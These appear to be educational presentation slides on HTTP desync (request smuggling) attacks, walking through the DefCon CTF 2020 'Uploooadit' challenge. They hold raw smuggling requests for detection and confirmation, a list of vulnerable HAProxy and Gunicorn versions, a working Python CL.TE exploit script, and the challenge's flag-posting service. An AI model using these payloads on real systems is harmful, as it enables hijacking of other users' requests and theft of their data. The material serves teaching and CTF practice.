Http Desync Attacks

Background

  • Discovered by James Kittle of PortSwigger in 2019
  • Vulnerability at the application layer (HTTP)
  • Type of Request Smuggling Attack
    • Sneak a malicious packet into a valid packet.
  • Multi-Tiered attack
    • Proxy and Server
  • Goal: Desynchronize complex systems

How Does Desync Happen? 

  • HTTP/1.1 Uses the Keep-Alive property, which reuses a TCP stream.
  • HTTP/1.1 - Transfer-Encoding: Chunked
    • Sends data in a series of chunks
    • It knows how much is being sent based on the size prepended to the chunk. 
  • The combination can lead to prepending the next packet with additional data.

Detect 

  • Send a packet which is designed to timeout if server is vulnerable to desync. 
    • Bad chunk-length like a letter
  • False positives can occur

Valid

Invalid

POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4

1
Z
Q

Detect 

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: zchunked

17
=x&q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
… 

Confirm - Attack

POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked

96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

x=
0

POST /search HTTP/1.1
Host: example.com

Confirm - Response

Attack-Demo

  • CTF Challenge - DefConCTF 2020 Uploooadit
  • Uses HAProxy, Gunicorn, and Python to create vulnerability
    • HAProxy 1.7.9, 1.7.11, 1.8.19, 1.8.21, 1.9.10, and 2.0.5 are vulnerable 
      • Allows http request smuggling
    • Gunicorn version 20.0.1,  20.0.0, and anything below 19.10 are vulnerable
      • Target to desynchronize 
  • Successful exploitation results in the presentation of a flag.

Attack-Demo

#!/usr/bin/env python3
import socket
import ssl
import sys
import uuid

import requests


CLTE_TEMPLATE = """GET / HTTP/1.1
Host: {hostname}
User-Agent: attacker
Content-Length: {length}
Transfer-Encoding:\x0bchunked

0

"""

GUID = str(uuid.uuid4())


def request(content, hostname, port):
    print(content)
    print()

    def issue_request(server):
        assert server.send(content) == len(content)
        data = server.recv(1024)
        while len(data) > 0:
            print(data.decode("utf-8"))
            data = server.recv(1024)

    with socket.create_connection((hostname, port)) as raw_socket:
        if port == 443:
            context = ssl.create_default_context()
            with context.wrap_socket(raw_socket, server_hostname=hostname) as server:
                issue_request(server)
        else:
            issue_request(raw_socket)
        try:
            raw_socket.shutdown(socket.SHUT_RDWR)
        except:
            pass


def clte(payload, hostname):
    offset = 5 + payload.count("\n")
    return (
        (CLTE_TEMPLATE.format(hostname=hostname, length=len(payload) + offset) + payload)
        .replace("\n", "\r\n")
        .encode("utf-8")
    )


def main():
    if len(sys.argv) == 2 and sys.argv[1] == "--local":
        hostname = "localhost"
        port = 8080
        url = f"http://localhost:8080/files/{GUID}"
    else:
        hostname = "uploooadit.oooverflow.io"
        port = 443
        url = f"https://uploooadit.oooverflow.io/files/{GUID}"

    payload = f"""POST /files/ HTTP/1.1
Connection: close
Content-Length: 385
Content-Type: text/plain
User-Agent: hacked
X-guid: {GUID}

"""

    request(clte(payload, hostname), hostname, port)



    response = requests.get(url)
    print(response.content.decode("utf-8"))


if __name__ == "__main__":
    sys.exit(main())
#!/usr/bin/env python3
import argparse
import os
import sys
import time
import traceback
import uuid

import requests

SECRET = b"Congratulations!\nOOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}\n"
SLEEP_TIME = float(os.getenv("SLEEP_TIME", 2))
URL = "http://127.0.0.1:8080/files/"


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--daemon", action="store_true")
    arguments = parser.parse_args()
    run_loop()


def put_file():
    response = requests.post(
        URL,
        data=SECRET,
        headers={
            "Content-Type": "text/plain",
            "User-Agent": "invoker",
            "X-guid": str(uuid.uuid4()),
        },
        timeout=1,
    )
    if response.status_code == 201:
        sys.stdout.write(".")
        sys.stdout.flush()
    else:
        print()
        print(response)


def run_loop():
    while True:
        try:
            put_file()
        except Exception:
            traceback.print_exc()
        time.sleep(SLEEP_TIME)


if __name__ == "__main__":
    sys.exit(main())

attack.py

invoker.py (server)

DEMO

Learn More